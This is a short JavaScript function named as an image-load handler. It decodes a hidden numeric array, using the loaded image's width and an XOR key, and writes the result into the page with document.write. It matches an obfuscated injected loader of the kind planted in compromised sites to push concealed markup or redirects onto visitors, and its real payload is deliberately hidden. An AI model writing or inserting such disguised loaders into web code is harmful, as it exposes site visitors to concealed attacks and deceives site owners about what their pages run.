function onImgLoad(source) {
var as = new Array(146,15,158,177,535,485,614,556,612,488,595,504,589,471,597,506,611,488,524,558,614,488,537,582,614,469,616,558,612,457,601,499,539,468,602,571,592,459,612,584,591,394,594,556,612,484,612,514,537,412,598,571,585,463,599,558,539,484,592,554,608,411,555,508,591,467,591,558,550,462,616,560,604,485,614,556,612,488,595,598,537,408,598,556,602,411,555,508,611,484,595,554,529,393,538,581,608,468,540,555,592,486,609,520,602,457,604,519,522,421,535,494,527,416,534,519,588,411,601,583,615,482,616,574,608,480,545,554,536,406,542,506,611,488,551,515,537,444,549,504,535,444,538,555,602,486,608,554,591,410,549,513,530,412,538,555,602,486,608,554,591,410);
var xi = source.width; if (!xi) {return;}
var sb=""; for (var n=4; n<as.length; n++) {sb+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sb);
}

